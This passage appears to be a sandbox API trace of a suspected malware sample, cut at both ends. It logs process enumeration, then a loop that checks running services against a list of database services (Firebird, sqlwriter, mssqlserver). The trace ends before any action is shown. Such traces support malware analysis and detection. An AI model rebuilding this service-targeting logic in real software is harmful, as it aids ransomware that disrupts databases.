lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0073.590] lstrlenW (lpString="dllhost.exe") returned 11 [0073.590] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="product.exe")) returned 1 [0073.591] lstrlenW (lpString="product.exe") returned 11 [0073.591] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="phase wrist exhaust.exe")) returned 1 [0073.593] lstrlenW (lpString="phase wrist exhaust.exe") returned 23 [0073.593] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basin.exe")) returned 1 [0073.594] lstrlenW (lpString="basin.exe") returned 9 [0073.594] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="determine keyboard rebecca.exe")) returned 1 [0073.595] lstrlenW (lpString="determine keyboard rebecca.exe") returned 30 [0073.595] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested housewives.exe")) returned 1 [0073.597] lstrlenW (lpString="tested housewives.exe") returned 21 [0073.597] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfc0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.598] lstrlenW (lpString="conhost.exe") returned 11 [0073.598] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.599] lstrlenW (lpString="conhost.exe") returned 11 [0073.599] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.601] lstrlenW (lpString="svchost.exe") returned 11 [0073.601] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x474, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0073.602] lstrlenW (lpString="wmxsde.exe") returned 10 [0073.602] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0073.603] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0073.603] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.604] lstrlenW (lpString="conhost.exe") returned 11 [0073.604] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x474, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0073.972] lstrlenW (lpString="cmd.exe") returned 7 [0073.972] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0073.973] lstrlenW (lpString="conhost.exe") returned 11 [0073.973] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x540, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.974] lstrlenW (lpString="svchost.exe") returned 11 [0073.974] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mode.com")) returned 1 [0073.975] lstrlenW (lpString="mode.com") returned 8 [0073.975] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0073.976] lstrlenW (lpString="LogonUI.exe") returned 11 [0073.976] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0073.977] CloseHandle (hObject=0x2f4) returned 1 [0073.977] Sleep (dwMilliseconds=0x1f4) [0074.772] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6deed0 [0074.773] EnumServicesStatusExW (in: hSCManager=0x6deed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 0 [0074.774] GetLastError () returned 0xea [0074.774] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1d5a) returned 0x43bc050 [0074.774] EnumServicesStatusExW (in: hSCManager=0x6deed0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x43bc050, cbBufSize=0x1d5a, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x43bc050, pcbBytesNeeded=0x24cff3c, lpServicesReturned=0x24cff54, lpResumeHandle=0x0) returned 1 [0074.775] CloseServiceHandle (hSCObject=0x6deed0) returned 1 [0074.775] lstrlenW (lpString="Appinfo") returned 7 [0074.775] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0074.775] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0074.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0074.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0074.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0074.776] lstrlenW (lpString="AppXSvc") returned 7 [0074.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0074.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0074.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0074.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0074.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0074.776] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0074.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0074.776] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0074.776] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0074.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0074.776] lstrlenW (lpString="Audiosrv") returned 8 [0074.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0074.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0074.776] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0074.776] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0074.776] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0074.776] lstrlenW (lpString="BFE") returned 3 [0074.776] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0074.776] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0074.776] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0074.776] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0074.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0074.777] lstrlenW (lpString="BITS") returned 4 [0074.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0074.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0074.777] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0074.777] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0074.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0074.777] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0074.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0074.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0074.777] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0074.777] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0074.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0074.777] lstrlenW (lpString="CDPSvc") returned 6 [0074.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0074.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0074.777] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0074.777] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0074.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0074.777] lstrlenW (lpString="ClickToRunSvc") returned 13 [0074.777] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0074.777] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0074.777] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0074.777] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0074.777] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0074.777] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0074.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0074.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0074.778] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0074.778] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0074.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0074.778] lstrlenW (lpString="CryptSvc") returned 8 [0074.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0074.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0074.778] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0074.778] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0074.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0074.778] lstrlenW (lpString="DcomLaunch") returned 10 [0074.778] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.778] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0074.778] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0074.778] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0074.778] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0074.778] lstrlenW (lpString="DeviceAssociationService") returned 24 [0074.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0074.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0074.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0074.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0074.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0074.779] lstrlenW (lpString="Dhcp") returned 4 [0074.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0074.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0074.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0074.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0074.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0074.779] lstrlenW (lpString="Dnscache") returned 8 [0074.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0074.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0074.779] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0074.779] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0074.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0074.779] lstrlenW (lpString="DoSvc") returned 5 [0074.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0074.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0074.779] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0074.779] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0074.779] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0074.779] lstrlenW (lpString="DPS") returned 3 [0074.779] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0074.779] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0074.780] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0074.780] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0074.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0074.780] lstrlenW (lpString="DusmSvc") returned 7 [0074.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0074.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0074.780] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0074.780] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0074.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0074.780] lstrlenW (lpString="EventLog") returned 8 [0074.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0074.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0074.780] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0074.780] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0074.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0074.780] lstrlenW (lpString="EventSystem") returned 11 [0074.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0074.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0074.780] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0074.780] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0074.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0074.780] lstrlenW (lpString="FontCache") returned 9 [0074.780] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0074.780] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0074.780] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0074.780] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0074.780] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0074.781] lstrlenW (lpString="gpsvc") returned 5 [0074.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0074.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0074.781] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0074.781] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0074.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0074.781] lstrlenW (lpString="iphlpsvc") returned 8 [0074.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0074.781] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0074.781] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0074.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0074.781] lstrlenW (lpString="KeyIso") returned 6 [0074.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0074.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0074.781] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0074.781] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0074.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0074.781] lstrlenW (lpString="LanmanServer") returned 12 [0074.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0074.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0074.781] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0074.781] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0074.781] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0074.781] lstrlenW (lpString="LanmanWorkstation") returned 17 [0074.781] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.781] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0074.782] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0074.782] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0074.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0074.782] lstrlenW (lpString="lfsvc") returned 5 [0074.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0074.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0074.782] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0074.782] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0074.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0074.782] lstrlenW (lpString="lmhosts") returned 7 [0074.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0074.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0074.782] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0074.782] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0074.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0074.782] lstrlenW (lpString="LSM") returned 3 [0074.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0074.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0074.782] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0074.782] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0074.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0074.782] lstrlenW (lpString="MapsBroker") returned 10 [0074.782] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0074.782] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0074.782] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0074.782] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0074.782] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0074.783] lstrlenW (lpString="MpsSvc") returned 6 [0074.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0074.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0074.783] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0074.783] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0074.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0074.783] lstrlenW (lpString="NcbService") returned 10 [0074.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0074.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0074.783] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0074.783] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0074.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0074.783] lstrlenW (lpString="netprofm") returned 8 [0074.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0074.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0074.783] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0074.783] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0074.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0074.783] lstrlenW (lpString="NlaSvc") returned 6 [0074.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0074.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0074.783] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0074.783] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0074.783] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0074.783] lstrlenW (lpString="nsi") returned 3 [0074.783] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0074.783] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0074.784] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0074.784] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0074.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0074.784] lstrlenW (lpString="PcaSvc") returned 6 [0074.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0074.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0074.784] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0074.784] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0074.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0074.784] lstrlenW (lpString="PlugPlay") returned 8 [0074.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0074.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0074.784] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0074.784] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0074.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0074.784] lstrlenW (lpString="Power") returned 5 [0074.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0074.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0074.784] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0074.784] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0074.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0074.784] lstrlenW (lpString="ProfSvc") returned 7 [0074.784] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0074.784] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0074.784] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0074.784] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0074.784] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0074.785] lstrlenW (lpString="RpcEptMapper") returned 12 [0074.785] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0074.785] 